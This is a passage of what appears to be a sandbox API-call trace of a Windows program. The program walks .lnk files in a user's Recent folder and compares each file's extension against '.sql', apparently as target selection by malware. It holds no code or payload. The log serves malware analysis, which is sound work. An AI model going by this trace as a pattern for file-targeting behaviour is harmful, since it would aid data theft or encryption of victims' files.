returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned 78 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="FtUF9T.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="FtUF9T.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FtUF9T.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned 73 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="gKHCm2fwtZ_xFQId52k.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="gKHCm2fwtZ_xFQId52k.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gKHCm2fwtZ_xFQId52k.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned 86 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="GlwDigP8Jjnd5uC g.flv.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="GlwDigP8Jjnd5uC g.flv.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="GlwDigP8Jjnd5uC g.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned 88 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="gqOFi.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="gqOFi.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gqOFi.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned 72 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.790] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.790] lstrcmpW (lpString1="HijnMp4jD.lnk", lpString2=".") returned 1 [0054.790] lstrcmpW (lpString1="HijnMp4jD.lnk", lpString2="..") returned 1 [0054.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="HijnMp4jD.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk" [0054.790] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned 76 [0054.790] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="HkP-y.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="HkP-y.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="HkP-y.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned 72 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="HK_SRBXCNwo6hKv3Yib.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="HK_SRBXCNwo6hKv3Yib.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="HK_SRBXCNwo6hKv3Yib.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned 86 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="i25MLe9kC22ViMDQq.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="i25MLe9kC22ViMDQq.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="i25MLe9kC22ViMDQq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned 84 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="ig6hjLi-OP4x R.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="ig6hjLi-OP4x R.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ig6hjLi-OP4x R.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned 81 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="imbMbOER.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="imbMbOER.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="imbMbOER.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned 75 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="jdhLD2CDd5WY7.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="jdhLD2CDd5WY7.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jdhLD2CDd5WY7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned 80 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="jMUwXrx_DL.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="jMUwXrx_DL.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jMUwXrx_DL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned 77 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="JOfdh4o6jslX.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="JOfdh4o6jslX.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="JOfdh4o6jslX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned 79 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jxoh-EFt2nW-t9X.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk" [0054.791] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned 82 [0054.791] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.791] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.791] lstrcmpW (lpString1="jyOHRPQ6E1yOr.lnk", lpString2=".") returned 1 [0054.791] lstrcmpW (lpString1="jyOHRPQ6E1yOr.lnk", lpString2="..") returned 1 [0054.791] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jyOHRPQ6E1yOr.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned 80 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="kSYHI_Wa9bfsyy-Z.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="kSYHI_Wa9bfsyy-Z.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="kSYHI_Wa9bfsyy-Z.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned 83 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="KtCdK3LGr9KL.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="KtCdK3LGr9KL.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="KtCdK3LGr9KL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned 79 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="ku4nJ2ON.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="ku4nJ2ON.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ku4nJ2ON.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned 75 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="kvL5uOocTiCI S__fRu.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="kvL5uOocTiCI S__fRu.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="kvL5uOocTiCI S__fRu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned 86 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="ldeazaydq H9.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="ldeazaydq H9.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ldeazaydq H9.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned 79 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="lmzNuu.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="lmzNuu.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="lmzNuu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned 73 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="LsUd7T_9uN5u1inV_P.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="LsUd7T_9uN5u1inV_P.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="LsUd7T_9uN5u1inV_P.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned 85 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="lxRXkBM2nNswBBWWBk42.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned 87 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.792] lstrcmpW (lpString1="l_9IL425VzhWVYOQGgg3.ots.lnk", lpString2=".") returned 1 [0054.792] lstrcmpW (lpString1="l_9IL425VzhWVYOQGgg3.ots.lnk", lpString2="..") returned 1 [0054.792] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="l_9IL425VzhWVYOQGgg3.ots.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk" [0054.792] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned 91 [0054.792] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.792] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="L_GiUm.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="L_GiUm.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="L_GiUm.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned 73 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="m mArdoH QZh2LspL.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="m mArdoH QZh2LspL.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="m mArdoH QZh2LspL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned 84 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="M VM-W8ibnNtUjYzZy1.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="M VM-W8ibnNtUjYzZy1.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="M VM-W8ibnNtUjYzZy1.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned 86 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="M53SLY.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="M53SLY.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="M53SLY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk" 